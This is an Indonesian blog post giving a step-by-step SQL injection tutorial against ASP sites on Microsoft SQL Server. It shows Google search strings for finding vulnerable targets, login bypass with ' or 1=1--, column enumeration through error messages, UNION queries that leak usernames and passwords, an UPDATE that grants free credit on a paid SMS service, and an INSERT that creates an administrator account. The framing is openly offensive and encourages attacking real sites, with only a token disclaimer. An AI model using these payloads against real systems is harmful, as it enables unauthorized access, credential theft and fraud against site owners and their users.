Hallo Semua? Apakabar? Sorry Sudah Lama Offline? ini ada sedikit cerpen tentang cara hack sebuah Website ,tapi jangan di gunakan untuk kejahatan ya
::PREFACE::
============ =
Setelah banyaknya bug-bug yang bertebaran di jagad maya ini dari
yang namanya Unicode (masih ada lho sekarang) , RPC DCOM, XSS, VP-
ASP, dan bug-bug e-commerce lainnya kini yang lagi "trend" dalam
teknik hacking adlaah SQL Injection. dalam vol. 1 ini gw jelasin
cara ngisi sesuatu dengan perintah UPDATE
::DESCRIPTION: :
============ ===
SQL adalah bahasa pemrograman database yang banyak dipakai dalam
website, laporan keuangan, data-data pekerjaan, data mahasiswa, dan
lain lain. Diantara jenis lainnya MS-SQL adalah yang paling
terkenal, nah ternyata semua hal yang di jagad maya ini adalah
Vulnerable terhadap berbagai serangan, jadi SQL pun menjadi target
dalam hal ini.
::VULN::
========
yang akan gw bahas disini adalah MS-SQL yang Link ODBC dengan bahasa
pemrograman website ASP.
::Injection: :
==========
ok, setelah basa basi diatas gw mulai neh ..hehehe
untuk menginject sql ini anda perlu memperhatikan input-inputan
dalam situs itu yang sekiranya connect dengan SQL database situs
itu, atau bisa juga dengan menambah dari link url di kotak browser
anda semisal : ....asp/productID= 1'[sql query/string. untuk mencari
target yang vuln seperti kondisi diatas anda perlu mencarinya
yang .asp nah seperti biasa....GOOGLING! !! hehehe
key wordnya di google adalah :
1. allinurl:.co. id/login. asp
2. allinurl:.com/ admin.asp
semuannya itu banyak kombinasinya lainnya itu tergantung seberapa
jauh anda kreatif dalam mencari target di google.nah, kanre disini
gw bahas cara inject ke situs web to sms so searchnya : asp,web to
sms atw Send SMS, ASP
ok, misal kita dapet target www.apes.com, nah lihat dah ada inputan
yang masuk ke database itu ga, misalnya search product, member
login, atw admin login :) setelah itu kita isa inject pake
sql "umum" stringnya : ' or 1=1-- disini kita lihat kalau 1=1 itu
nialinya true dan tanda -- itu adalah marknya SQL kalau di C++/C
itu // _/* jadi setelah tanda Mark perintah selanjutnya tidak
dijalankan. nah klo beruntung dapet /admin.asp kita inject seperti
diatas itu bisa lho kita masuk sebagai admin! ini terjadi di situs
berita nasional di indonesia...
nah, klo ga dapet dir adminya yah kita cari kotak input yang kiranya
connect ke database situs itu, contoh isa di login, member, search,
dll. kita masukan debugging codenya : ' having 1=1--
jreeeeeng... ..ini musti diinget n kudu di pake setiap klo mo inject,
kita injet di :
userid : ' having 1=1--
Password :fuzk3
lalu....jreeeeeeng. ...ERROR! !!!
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ ODBC SQL Server Driver][SQL Server]
Column 'UserDB.userid' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY
clause.
member/log_right. asp, line 25
tuh ketahuan ada kolom UserDB.userid, klo udah gini gemana lagi
dungs? ok kita loop lagi sekarang kita inject : ' group by
UserDB.userid -- atau ' group by UserDB.userid having 1=1-- disini
kita gunain perintah group by untuk menggroup kolom ingin kita
lihat....ehehe. ..muncul error lagi, kali ini beda choi...
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ ODBC SQL Server Driver][SQL Server]
Column 'UserDB.userpass' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY
clause.
member/log_right. asp, line 25
nah sekarang kita tau apa aja kolomnya...hehehe
penerapan selanjutanya adalah misal situs itu adalah situs
pengiriman SMS sedunia yang kalo kita membernya kita bisa send sms
dari web, namun harus ada account yang digunakan untuk mengirim sms
itu, jadi account itu harus ada nilainya dan untuk itu kita harus
mengisinya dengan cara membelinya.. .ok ok NO CARDING HERE!!!
heheheh...so gemana neh??? karena kita ini orang-orang kere hehehe
so kita inject aja....sebelumnya kita harus jadi member kan gratis
ini daftarnya...
setelah kita jadi member dengan id : fuzk3 dan pass: Vero...kita log
ke situs itu dengan id kita, cari tahu string khusus yang digunakan
web itu untuk menghitung account sms kita, misalnya : cell
nah, inilah injectnya... .cari login inputan lagi misal /member.asp
nah disitu ada input box id dan pass...kita Inject dengan :
' UPDATE [namadatabase] SET [charkhusus] = [nilai] WHERE [namakolom]
= '[char_id]'- -
contoh :
' UPDATE UserDb set cell=100 where userid ='fuzk3'-- (inget neh)
sep, nah klo muncul error : userid not found kita isa cari input di
forgot password : dengan inputan sama...jreeen ketika di jalankan ga
ada error apa-apa..kembali login lalu...jreeeeeenng. ..liha cell mu
itu waduh 100 cell enak neh sms seratus kali....kiekiekie. ..SUKSES
BRO!!! :)
atau cara ke 2
::PREFACE::.
============
Kalau di Vol.1 dah dibahas teknik UPDATE di MS-SQL maka disini gw
jelasin cara INSERT dan UNION......rada ngejelimet neh.....makanya
kalau
baca artikel ini harus ada aer putih hyuehueh.... N disini gw juga
akan
kasih kilas balik sedikit untuk yang baru nyoba2 :) n penjelasan
yang
lebih detail
.::BODY::.
============
Sebelumnya tolong apabila browser kalian pada pake IE setting dulu
browsernya agar bisa melihat errornya. Setting di Tools-Internet
option-Advanced tab-Show friendly HTTP error messages. itu musti
dilakukan, kalau
tidak kalian tidak bisa lihat error messages yg keluar nanti.
OK, masih inget kan cara cari targetnya? kalau lupa lihat lagi
artikel
Vol.1 :)
Nah, klo dah dapet targetnya sekarang tinggal input SQL Querynya di
input boxnya :
www.target.com/ login.asp >> contoh target
www.target.com/ login.asp? err=Invalid_ password >> persan error yang
dapat di eksploitasi seperti biasa kalau ingin cari n tes vuln
engganya tuh
situs kita ketikan ' having 1=1-- di input box atau URL error tadi ,
contoh : www.target.com/ login.asp? err=' having 1=1-- then,....
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserID' is invalid in the select list because it is
not
contained in an
aggregate function and there is no GROUP BY clause
itu error messagesnya, kini kita group field UserID dari table
Users,
stringnya : ' group by UserID --
then,...
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.ClientName' is invalid in the select list
because it is not contained in either an aggregate function or the
GROUP BY clause.
muncul lagi error seperti itu....lalu lagi kita Group. Kini
stringnya
adalah ' group by
field1,field2 --
contoh : ' group by UserID,ClientName --
then,...
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserName' is invalid in the select list because it is
not
contained in
either an aggregate function or the GROUP BY clause.
trus group by lagi, hal ini kita lakukan (proses looping) sampai
semua
field kita
ketahui..... .makanya harus sabar, kalau engga ga bakal tembus :)
apabila sudah lama melakukan looping dan akhirnya ketika group
terakhir
kita lakukan dan tidak keluar error messagesnya maka error yang
terakhir adalah field yg terakhir.... .field table itu bisa panjang
sekali,
tergantung admin yang masangnya jadi susah kalau maen teabk2an
ajah....contoh field yang pernah gw temuin : ' group by
UserID,ClientName, UserName, Password, PhysicalAddress, PhoneNumber, Email
,
OperatingSystem, PrefferredGraphi cFormat
-- >> ada 9 field!!! jangan males dalam proses Looping :P
setelah dapet semua field, kini yang kita lakukan adalah mencari
siapa
aja user yang ada dalam table Users dan kolom UserName...
caranya? kita pake Union apa itu UNION??? union adalah perintah SQL
dimana ia dapat menggabungkan dua SELECT list tapi kalau pengen
gunain
Union ini kita harus tahu ada berapa field dalam table tadi
sintaksnya gini :
select field1, field2, … field_n
from tables
UNION
select field1, field2, … field_n
from tables;
nah biasanya dalam SQL QUERY di input box username itu mereka bikin
query select * from
Users where UserName =='"+login+" ' and Password='"+ pass"'"; nah
kalau
begitu kita masukin syntax sql union untuk melihat username : '
union
select min(UserName) ,1,1,1 from Users where username > 'a'--
jadi hasilnya : select * from Users where UserName ==' union select
min(UserName) ,1,1,1 from Users where username > 'a'--and
Password='"+ pass"'"; gitu kiranya, jadi nanti akan muncul error
messages lagi
yang akan menampilkan sebuah username lebih dari huruf a ,contoh:
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Agile' to a column of
data
type int. /
tuh lihat kan ada user dengan nama Agile...lalu looping lagi pake
string union tadi nanti akan muncul username2 lain....lalu bagaimana
dengan
passwordnya? ??
ok union beraksi kembali : ' union select min
(UserName),1, 1,1,1,1,1, 1,1
from Users where username > 'Agile'--
lalu akan muncul error yang memberitahukan passwordnya, contoh :
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Surfer' to a column of
data
type int. /
kalau dah gini kita bisa masuk dengan Username Agile dan passwordnya
Surfer...hehehe
selamat yah!
btw, kita juga ingin dong bisa INSERT databasenya. ....
caranya : karena ktia sudah tahu field2nya maka stringnya jadi : '
insert into table values
(field1,field2, ....,field_ n)--
misalkan ada field sebagai berikut :
'Users.UserID'
'Users. Username'
'Users.Password'
'Users.FName'
'Users.LName'
'Users.EmailAddress '
'Users.Administrato r'
itu berarti ada 7 field! Ok kita masukan menurut string tadi : '
insert
into Users values
(0,'lucifer' ,'lucifer' ,'lu','cid' ,'a@a.com',1)-- >> artinya kita
masukan id kita dalam
urutan 0, lalu username 'lucifer', password 'lucifer' Fname
(frontName)
itu 'lu',
Lname(LastName) sebagai 'cid', dan EmailAddress 'a@a.com'......
coba kita login dengan user buatan kita tadi....BINGO! selamat anda
berhasil menjebol
database situs target.....
Catatan Si Tole
10 tahun yang lalu
0 komentar :
Posting Komentar